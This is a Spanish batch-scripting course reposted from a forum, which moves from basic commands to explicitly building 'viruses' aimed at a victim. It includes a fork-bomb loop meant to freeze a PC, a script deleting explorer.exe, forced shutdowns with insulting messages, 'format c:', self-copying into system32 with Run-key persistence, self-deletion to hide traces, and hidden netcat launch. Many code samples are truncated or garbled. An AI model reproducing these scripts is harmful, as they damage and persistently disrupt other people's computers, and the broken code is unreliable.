Beruflich Dokumente
Kultur Dokumente
http://www.taringa.net/posts/ciencia-educacion/5372308/Batch-Comun-y-Batch-Avanzado.html
INRODUCCION:
Este curso va destinado para Newbies que aun no han comenzado a programar. Intentare explicarlo
todo lo mas claro y preciso que pueda. Si ustedes ya han programado alguna vez, no se molesten en
leerlo, no aprenderan nada nuevo puesto que como ya e dicho, es para aprender.
El curso lo are por capitulos, escriviendo uno cada dia o dos dias para que vallan con calma y practicando
lo aprendido. Les recomiendo hacer los ejercicios ustedes mismos a la vez que sigen el curso para que
puedan aprender bien.
Los unicos requisitos son; el bloc de notas, paciencia e intentar entender lo que se hace
Capitulo Uno
En este primer capitulo crearemos nuestro primer programa, usando los comandos mas basicos de la
programcion en batch.
A continuacion escrivan
Cdigo:
@echo off
A continuacion escriviremos es titulo del programa, para ello pondremos title seguido de su titulo,
ejemplo:
Cdigo:
@echo off
De esta forma nuestro programa tendra el nombre de, "mi primer programa txshack"
Ahora les mostrare una serie de comandos basicos que deven de aprender, les aconsejo que lo apunten
en un papel para tenerlos siempre presentes.
echo. sirve para dejar un espacio de linea en el programa. Es lo equivalente a pulsar intro en el word
rem este sirve para mostrar un mensaje pero que no se vera en el programa, es decir tan solo se vera en
el modo ediciom osea donde estamos ahora, en el bloc de notas..(suel escrivirse para acer tus
aclaraciones, y que no te parezca lioso, por ejemplo decir, asta aqui la introduccion, asta aqui las
preguntas, apartir de aqui ire acabando las operaciones...etc)
pause sirve para acer una pausa en el programa, es decir, una vez llegados ahi, nos dira el programa...
pulse una tecla para continuar... en cambio si escrivimos pause > nul no nos lo preguntara, es decir,
daremos una tecla y continuara.
Bien una vez dicho esto, podremos crear nuestro primer programa.
Cdigo:
@echo off
echo.
echo comentario
echo.
pause
echo.
exit
Aora le dan a guardar como y lo llaman por ejemplo 1?programacontxshack.bat o lo que quieran, pero
deve ser loquesea.bat
Aora veran que se a creado un programa que tiene el icono como de una ventana blanca con una rueda
dentada dentro, pues ese es nuestro programa!! ejecutenlo y vean!!
En el proximo capitulo les ense?are como hacer que el programa te aga preguntas y tu
responderlas...etc
No se impacienten!! jeje
Espero que les quedase claro lo que dimos en el capitulo numero. Fue una cosa sencilla no?
Una variable, es una especie de memoria a la que podemos asignarle un dato, para acerlo referencia
mas adelante. Para entenderlo, lo mejor es que agamos un ejemplo.
Cdigo:
@echo off
title ejemplos
set var=capullo
pause
Como veran comenzamos con @echo off y seguimos poniendo un titulo, en este caso lo he llamado
ejemplos. (asta aki ya lo sabian no)
a continuacion al poner set var=capullo ace que la palabra capullo se muestre cuando ponemos var
entre %% de esta forma, cuando ponemos eres un %var% el programa nos muestra, eres un capullo
jejeje, esto es un ejemplo, vean.
han visto no asi pueden acer todo lo que se les ocurra...lo q deven recordar es que tiene q empezar por
set unapalabra= loquequieras y para acer luego referencia a loquequieras, menten entre %% la palabra
seguida de set, de esta forma %unapalabra%
por s un lio, ponemos cls y cuando llege ahy borrara lo anterior y continuara con el codigo... Benga, les
ago el ejemplo...
Cdigo:
@echo off
title ejemplo4
echo.
pause
echo.
echo.
pause
echo.
pause
cls
echo.
exit
han visto no si no hacen los codigos, por lo menos les aconsego que lo agan con los mios, den a copiar y
pegar para que les sirva de ejemplo. Vallan provando, es la mejor forma de acordarte de ello y coger
soltura
Ah!! una ultima cosa.. les voy a dar ya los codigos de colores para que experimenten a cambiar el color a
la ventana del programa. Es facil de usar, deven poner, color seguido de un numero y letra (color de
letras y de fondo)... prueven....
CODIGO DE COLORES:
0 = Negro
1 = Azul
2 = Verde
3 = Aguamarina
4 = Rojo
5 = Prpura
6 = Amarillo
7 = Blanco
8 = Gris
9 = Azul claro
A = Verde claro
B = Aguamarina claro
C = Rojo claro
D = Prpura claro
E = Amarillo claro
F = Blanco brillante
Os dejo un ejemplo del anterior, ejmplo3, para que vean como se meten los colores
Cdigo:
@echo off
title ejemplo4
color 5e
echo.
pause
echo.
echo.
pause
echo.
echo.
pause
cls
color 2f
echo.
exit
En esta ocasion, os explicare otro tipo de variables, que se utilizan para hacer operaciones matematicas.
Su base y modo de empleo es similar a las del capitulo anterior (las set/p).
Por cierto, antes de mostrar el codigo, se acuerdan del comando rem no? aparece en el 1? capitulo, y
se usa para acer aclaraciones a la hora de acer el codigo, pero q luego en el programa no se vera. Os lo
digo porque lo utilizare para irles explicando.
VEAN:
Cdigo:
@echo off
title calcula tus nota lo que acemos es dotar la palabra asig con el valor 6
set/a suma=a+b+c+d+e+f
set/a media=%suma%/%asig%
rem como veran al dividir la suma entre las asignaturas sacamos la media
pause
echo.
pause
exit
Se me olvidaba decir que no muestra decimales, es decir si tu media es de 5,25 veras 5... que qereis!?
jeje
suma+
resta -
producto *
division /
exponente ^
Bueno, en este 4? capitulo, os explicare 2 sencillos comandos (el goto, y el de la estructuracion por
menus), y otro algo mas complicado (el if) pero vereis que con un poco de practica tambien esta
chupado.
El comando goto, nos permite dar un salto a un determinado lugar del bat. Por ejemplo para ir a un
menu...
Los menus se hacen escriviendo : y seguido el nombre del menu. (con el ejemplo de luego lo vereis mas
claro)
El comando if sirve para establecer una condicion, es decir, si la condicion se cumple o no, se ara tal
cosa.
Para ver mas claro esto del goto, el if, y lo de los menus, os pondre un simple ejemplo.
Cdigo:
@echo off
:menu
cls
echo responde si o no
echo.
:serh
cls
goto end
:noh
cls
echo.
goto end
:end
cls
echo.
echo adios
pause
exit
Cdigo:
@echo off
:menu
cls
echo.
If %var%==5 goto si
cls
pause
goto salir
:menor
cls
echo.
goto menu
:mayor
echo.
goto menu
:salir
echo.
echo.
pause
exit
Ya lo abran pillado no
Tambien pueden usar el comando if not que hace lo contrario que el if. En vez de decir SI pasa
esto....haz esto, lo que hace es decir, SI NO pasa esto...haz esto. ?Entienden no? sino agan un ejemplo
veran q facil es.
Se preguntaran tambien que pasa, cuando por ejemplo en el 1? ejemplo que puse, en vez de escrivir si
o no, escribimos otra cosa, entonces lo que sucedera, es que el lenguage, al ser lineal, pasra a la
siguiente linea... sin importar lo q pongamos (pruevenlo).
Pero no se preocupen todo esto tiene solucion con un comando llamado else.
Lo que qiere decir es sino haz esto, es decir, por ejemplo decimos
Cdigo:
Lo que qiere decir esto, es que si la variable es 1, vallamos al menu1, sino, al menu 2.
En el ejemplo se trata de decir si quieres un CONSEJO o si quieres SALIR, si escrives cualqier otra cosa,
veran que vuelve al principio, y no pasa como en los ejemplos de antes
Cdigo:
@echo off
:menu
cls
echo.
:if2
:consejo
cls
echo ten cuidado con lo que descargas, fiate solo de txshack, el es legal!!
goto end
:end
cls
echo.
echo adios!!
pause
exit
Bueno, y con todo esto acabo por hoy. Creo que son bastantes cosas por hoy no creen
Pronto seguire.
En este capitulo, os ense?are el resto de comandos interesantes, y para el proximo capitulo, nos
meteremos con la creacion de virus, e iran surgiendo nuevas cosas y comandos.
taskkill mata un porceso, puede ser tambien taskkill/f (fuerza bruta) ejemplo: taskkill iexplore.exe
format unidad: formatea una unidad, por ejemplo format c:
msg* hace que aparezca un mensaje en una ventana de windows, por ejemplo; msg* adios!! y no te
olvides de visitar infiernohacker
reg add a?ade lo que qeramos a la ruta del registro especificada...(ya lo veremos mas adelante)
> y >> son unos redireccionamientos, por ejemplo, si ponemos echo hola>hola.txt se nos creara en el
directorio actual, un archivo de texto con el titulo de hola, y que si lo abrimos veremos la palabra hola.
Si por ejemplo ahora creamos otro y escrivimos echo adios>>hola.txt En el archivo que teniamos
anteriormente, se seguira llamando hola, pero al abrirlo veremos que pone hola y en la linea siguiente
adios.
Pero si por el contrario ponemos echo adios>hola.txt Al abrir el arvhivo, solo aparecera la palabra adios.
ejemplo:
Cdigo:
@echo off
echo txshack>hola.txt
exit
Esto nos creara en el directorio actual, un archivo llamado hola.txt y en su interior pontra txshack
* El * sirve para sustituir a todos los caracteres... por ejemplo si ponemos del *.jpg
del a*.jpg borrara todos los jpg que empiezen por a sea cual sea su continuacion.
? El ? es parecido al anterior, solo que sustituye a un solo caracter, por ejemplo si ponemos del c?sa.jpg
borrara todos los archivos .jpg que comienzen por c (un caracter cualquiera) sa, por ejemplo borraria;
casa.jpg cosa.jpg cesa.jpg cssa.jpg.... entienden no?
El * y ? sirve tanto para el nombre como la extension.... No voy a liarme mucho en esto, porque es algo
facil y seguro que lo entienden. Les pondre algun ejemplo que seguro q entienden.
CHDIR o CD [path>
CD \\ Trasladarse al ra?*z
attrib *.exe +r +r +s (pone a todos los archivos con extensin exe como ocultos, del sistema y read only)
shutdown este comando, depende de las letras que lo acompa?en, puede acer una cosa u otra:
pongamos un ejemplo_
shutdown -r -f -t 12 -c "jodete" esto ara q la pc se reinicie (-r) que se cierren todos los programas
forzosamente (-f) que lo aga en 12 segundos (-t 12) y salga un mensaje q diga jodete
Estos comandos, junto a los q ya conocen: set/p, pause, pause > nul, cls, exit, echo, if, goto....etc son los
basicos.
Como ya les dijen puede que ahora se me escape alguno...pero cuado veamos la creacion de virus y
programas, iran apareciendo los que me ayan quedado. De momento creo que con estos tenemos por
hoy
Empezare con lo mas importante acerca de esto, y ya iremos abanzando. Posiblemente repita algunas
cosas ya explicadas brevemente, como el comando shutdown, pero creo que es importante repetirlo
(profundizando algo mas) en este tema.
1.)Introduccion
Buenas , ante todo he de decir que esto es un manual de introduccin y no un manual para expertos. En
este manual se hablara sobre los virus .bat (archivos por lotes ejecutables de ms-dos)
Que es un comando?
es una orden que le damos al sistema operativo para que haga una tarea determinada.
explicacin: shutdown
es un comando con el que puedes jugar bastante. -s y -t son parametros, los parametros son como las
opciones
que les deves dar al comando. algunos comandos requieren parametros obligatoriamente sin embargo
otros no.
explicacin: parametro -s y -t
el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos.
en el ejemplo
shutdown -r = Reinicia
Comandos b?sicos
a continuacin os pondr varios comandos que sirven mucho a la hora de hacer virus.
-del = borra un archivo
-net = Muchas funciones, escriban en cmd net /? para ver sus funciones
Operaciones:
REG QUERY /?
REG ADD /?
REG DELETE /?
REG COPY /?
REG SAVE /?
REG RESTORE /?
REG LOAD /?
REG UNLOAD /?
REG COMPARE /?
REG EXPORT /?
REG IMPORT /?
Usad estos comandos para obtener ayuda sobre los parametros despus de reg.
inicio-ejecutar-cmd y escrivid algun comando para saber lo que es (asi me ahorro el explicar cada uno
xD)
Bucles
ejemplo
@echo off
:txshack
goto txshack
otro ejemplo:
@echo off
:menu
start
goto menu
Madre m?*a.. este simple cdigo , el que lo abra tendr? que reiniciar , por que el pc se le trabar? todo.
el comando start lo que hace es abrir otra shell, as?* que imaginate este bucle infinito.
podeis juegar con esto a vuestro antojo, abriendo blocs de notas, abriendo internet..etc
(start http://infiernohacker.mundoforo.com)
@echo off
del /F c:\windows\system32\explorer.exe
Este virus cierra el msn, elimina el proceso explorer (sabeis lo q es no) y apaga la pc en 10 segundos con
el mensaje asta luego lucas xD
Variables de windows xp
echo %NOMBREDELAVARIABLE%
Bueno, puesto que muchos estais esperando este nuevo capitulo, e sacado un rato y por fin e podido
hacerlo.
Teniendo mas o menos claros lo del tema anterior en este intentare explicaros de la forma mas clara
posible como hacer que el virus se quede en run para que se ejecute al arrancar, y algunas cosillas mas...
o podemos crear un virus, que se guarte en la PC y se ejecute con esta cada vez que se inicie...
@echo off
shutdown -r -f -t 5
exit
Lo que ara sera reiniciar la PC a los 5 segundos, y ya esta.... no volvera a acerlo a no ser q la victima lo
vuelva a ejecutar...
Pero imaginen que este virus se inicia cuando encendemos el PC... osea, el solito... entonces ya joderia
algo mas no?
@echo off
A continuacion, deveremos ir al directorio donde queremos que se qede nuestro virus, por ejemplo C: o
System32 o Windows... etc
@echo off
cd
cd c:\windows\system32
Pues bien, imaginemos q lo guardamos en System32, pues aora deveremos crear un bat completo en
system32... es decir... crear uno desde el principio, apartir de este...
Cdigo:
@echo off
cd c:\windows\system32
exit
Entienden lo que emos echo no si an seguido el manual desde el principio, entenderan el porqe del > y
del >>.
El > sirve para crear o remplazar un archivo, y el >> para excrivir en la linea siguiente.
Una vez echo esto, ya tendremos nuestro virus.bat en la carpeta system32. Ahora solo nos queda
a?adirlo a RUN para q se inicie con windows...
Como veran, donde pone virus.bat, es el nombre que le emos dado, y poco mas adelante aparece la ruta
C:\windows\system32.
Cdigo:
@echo off
cd c:\windows\system32
exit
Cdigo:
@echo off
cd c:\windows\system32
msg * jajaja
start c:\windows\system32\virus.bat
exit
Otro dia are algun virus mas complicado (mas completo) incluyendo mataprocesos, borrado de
archivos...etc
Pongan a prueva su ingenio e imaginacion!! Es mas facil de lo que parece.
Indice
1. Que es Batch?
2. Variables
5. Redirecciones
1. Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite
utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist,
etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de
texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas.
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver
los codigos y solo el programa.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo
que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad).
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareci en las ltimas
versiones)
Ahora probamos
@echo off
pause
echo hola
exit
Aca una screen del codigo anterior luego de ser compilado y funcionando:
@Echo off
este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos
apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.
Title
este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Echo
por ejemplo
echo hola
Pause
esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice
"presione un tecla para proseguir"
Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la
extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"
2. Variables
DEFINICION
Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco
todos ). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden
adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o
imprimirlas en pantalla. O incluso realizar operaciones matematicas.
Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable
zero, cuando la llamamos seria %zero%
A LA PRACTICA
@echo off
title variables
echo .
exit
con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el
comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo
set var=pesos
echo hola %nombre% veo que tienes %edad% aos verdad? como rayos te puede gustar %comida%? XD
exit
Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se
llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y
comida adicionadas con el texto expuesto
hola holy veo que tienes 14 aos verdad? como rayos te puede gustar nada? XD
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir
mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch
que ejecuta el notepad
@echo off
title pruba
%homedrive%/windows/system32/notepad.exe
exit
eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de programar batch.
3. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada.
Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5
de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos
ejemplos y veran los facil que es.
@echo off
at 4:00 shutdown -s -f -t 01
exit
@echo off
exit
@echo off
exit
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando
a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria
agregar un add reg.
@echo off
del %0
exit
Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como
pings, fingers, netbios, telnet, etc. Aqui les dejo una lista de comandos con su explicacion.
FTP
IPCONFIG parmetros
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
NBTSTAT
NET parmetros
USE \\equipo\recurso -> para acceder a unidades lgicas compartidas. Se le asignar un nombre de
unidad y estar disponible como una unidad mas del sistema.
NETSTAT
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
PING
TELNET ip puerto
TRACERT destino
5. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo
para redireccionar un comando a un archivo.
@echo off
En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo
un virus que se autoelimine para no dejar rastros.
@echo off
DISPOSITIVO -- SALIDA
Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados
con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se
comprueba con este ejemplo:
@echo off
del /f /q %0
exit
Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los
parametros que se pueden especificar para un comando.
dir /p
Entonses si ponemos
del /f /q
"/f" es %1 y "/q" es %2
Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el
programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no
ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple
code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la
consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:
:help
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit
:tex
pause
exit
Accesar al registro es algo fundamental .Esto es posible mediante el comando "reg". Este comando tiene
infinitas posibilidades. Hay muchos parametros que se pueden especificar y muchas funcionalidades.
Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero
con estos ya es suficiente.
REG ADD
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de
nuestro bat.
REG QUERY
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Slo estn disponibles HKLM y
HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
REG EXPORT
clave ROOTKEY\subclave (slo equipo local)
ROOTKEY seleccionado
Temario.
4.- IF
5.- FOR
6.- Funciones
7.- Includes
8.- Misc
9.- EOF
________________________________________
Variables y Argumentos
El manejo de variables en batch, es muy flexible., y este nos permite hacer desde operaciones
matemticas, hasta seleccionar ciertas partes de una variable, asi como reemplazar cadenas de texto, y
obtener archivos.. y sus propiedades, la fecha, hora, generar numeros aleatorios, entre otros.
hara que:
%0 = batch
%1 = argumento1
%2 = dos
%3 = tres
Cdigo:
@echo off
echo %0 %1 %2 %3
shift /1
echo %0 %1 %2 %3
al llamar:
Cdigo:
Cdigo:
%~s1 - regresa solo la ruta, con directorios, con nombres cortos del archivo %1.
por ejemplo:
Cdigo:
Cocuments and SettingsAdministradortempcurso>dir
1 archivos 6 bytes
este batch:
Cdigo:
@echo off
Cdigo:
Disco: C:
Nombre: archivo
Extension: .txt
Ruta Corta: C
OCUME~1ADMINI~1TEMPCU~1archivo.txt
Atributos: --a------
Tamao: 6
Cdigo:
@echo off
echo %~anxt1
Cdigo:
Cdigo:
@echo off
Cdigo:
%*
es decir:
Cdigo:
@echo off
echo Argumentos: %*
al ejecutar:
nos regresa:
Cdigo:
Para asignar a una variable, el valor de algo escrito por el usuario, puedes usar:
set /P variable=
por ejemplo:
Cdigo:
@echo off
set /P miva=
Cdigo:
Juan
Tu te llamas Juan
Ahora, si por ejemplo, queremos, hacer algo como, obtener las ultimas 3 letras del nombre:
Cdigo:
@echo off
set /P NOM=
echo %NOM:~-3%
%NOM:~-3%
%NOM:~1,3%
Cdigo:
@echo off
echo Escribe una frase
set /P FRA=
echo %FRA:e=XXX%
Cdigo:
@echo off
set /A x=1
echo %x%
set /A x=x*9
echo %x%
Cdigo:
() - agrupar
* / % - operadores aritmticos
+ - - operadores aritmticos
& - AND
^ - XOR
| - OR
= *= /= %= += -= - asignacin
Cdigo:
@echo off
set /A x=2
echo %x%
set /A x=x*0xff
echo %x%
________________________________________
veamos:
Cdigo:
@echo off
set x=pru
set pru=HOLA
echo x
echo %%x%%
echo %%%x%%%
:: Lo mismo
echo %pru%
echo %%pru%%
echo %%%pru%%%
&
<
>
Cdigo:
no funcionara, pero:
Cdigo:
dara:
Cdigo:
<html><h1>Hola</h1></html>
________________________________________
Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y
HOMEPATH, por ejemplo:
Cdigo:
@echo off
Cdigo:
Hora: 2:13:49.33
Hora: 2:13:51.60
Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio
actual, por ejemplo:
Cdigo:
@echo off
echo %CD%
PUSHD
echo %CD%
POPD
echo %CD%
Cdigo:
@echo off
echo %CD%
PUSHD
echo %CD%
PUSHD %homepath%
echo %CD%
POPD
echo %CD%
POPD
echo %CD%
________________________________________
IF
valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas
al hacer
Cdigo:
@echo off
usamos %~1 para que aunque el usuario ponga comillas, no salga error
Cdigo:
@echo off
este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.
Cdigo:
@echo off
IF EXIST %~snx1 (
echo EXISTE!
) ELSE (
echo NO EXISTE
si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparacin:
Cdigo:
EQU - igual
NEQ - no igual
por ejemplo:
Cdigo:
@echo off
SET /P m=
IF %m% GEQ 18 (
echo ERES MAYOR DE EDAD
) ELSE (
que regresa:
Cdigo:
Cual es tu edad?
19
Cual es tu edad?
17
Cdigo:
IF DEFINED var (
echo SI
) ELSE (
echo NO
)
________________________________________
FOR
FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos,
funciones y el contenido de archivos.
Cdigo:
inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:
Cdigo:
imprimira 0 1 2 3 4 5 6 7 8 9 10
sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por
ejemplo:
Cdigo:
Cdigo:
Cdigo:
adios
algo
xx
hola
al ejecutar el comando:
Cdigo:
C:adios
C:adiosalgo
Cdigo:
C:ax.txt
C:adiossx.txt
C:adioswwx.txt
C:adiosalgokkx.txt
C:adiosalgoxxxx.txt
C:holaax.txt
C:holarx.txt
nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer
un buscador en batch, con el uso de FINDSTR y FOR.
Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las
acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:
Cdigo:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores
"espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las
variables.. por ejemplo:
1,2,3
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea,
despues del noveno, el signo de menos (-) genera intervalos.
por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`
Cdigo:
FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa
en los demas." DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q
dara de resultado:
Cdigo:
________________________________________
Funciones
El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.
Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de
funcion y recibir parametros.
miren, el siguiente programa:
Cdigo:
@echo off
call:funcion 1 2 3
call:funcion %*
goto:EOF
:funcion
Cdigo:
C:>ejemplo
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados
al programa.
Cdigo:
hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos
hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Cdigo:
@echo off&call:main&goto:EOF
:suma
set /A res=%1 + %2
echo %res%
goto:EOF
:resta
set /A res=%1 - %2
echo %res%
goto:EOF
:multiplica
set /A res=%1 * %2
echo %res%
goto:EOF
:main
echo %arg%
call:suma %arg%
echo su resta es:
call:resta %arg%
call:multiplica %arg%
goto:EOF
Cdigo:
C:>operaciones
62
su suma es:
su resta es:
su producto es:
12
________________________________________
Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
Cdigo:
@echo off&call:%*&goto:EOF
:funcion1
...
:funcion2
...
por ejemplo:
--inclu.bat--
Cdigo:
@echo off&call:%*&goto:EOF
:cabeza
echo ###############
echo # sirdarckcat #
echo ###############
goto:EOF
:uso
echo uso:
goto:EOF
:nombre
echo Hola %*
goto:EOF
--inicio.bat--
Cdigo:
@echo off
if "%~1"=="" (
inclu.bat cabeza
inclu.bat uso
) else (
Cdigo:
C:>inicio
###############
# Hecho por: #
# sirdarckcat #
###############
uso:
inclu.bat Nombre
C:>inicio sirdarckcat
Hola sirdarckcat
C:>
________________________________________
Misc
comando | more
comando | sort
TITLE "algo"
FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las
que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)
FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a
grep), descripcin detallada:
Cdigo:
FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
[/F:archivo]
[[unidad[ruta]nombredearchivo[ ...]]
los subdirectorios.
correspondencia.
coinciden.
(/ significa consola).
literal.
(/ significa consola).
directorios
[unidad[ruta]nombredearchivo
el argumento lleve un prefijo con /C. Por ejemplo, 'FINDSTR "qu tal" x.y'
busca "qu" o "tal" en el archivo x.y. 'FINDSTR /C:"qu tal" x.y' busca
especificado
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta
sesion, no afectaran el nuevo programa
Iniciar en prioridades:
/LOW - baja
/NORMAL - normal
/HIGH - alta
por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer
algo asi:
que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en
%windir%
EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve
para terminar el documento , espero les sirva
Autorizo la reproduccin total o parcial de este documento bajo la licencia de documentacin libre de
GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt
Espero que Mi Post les Alla Gustado Muchas Gracias,, Ya mi segundo post!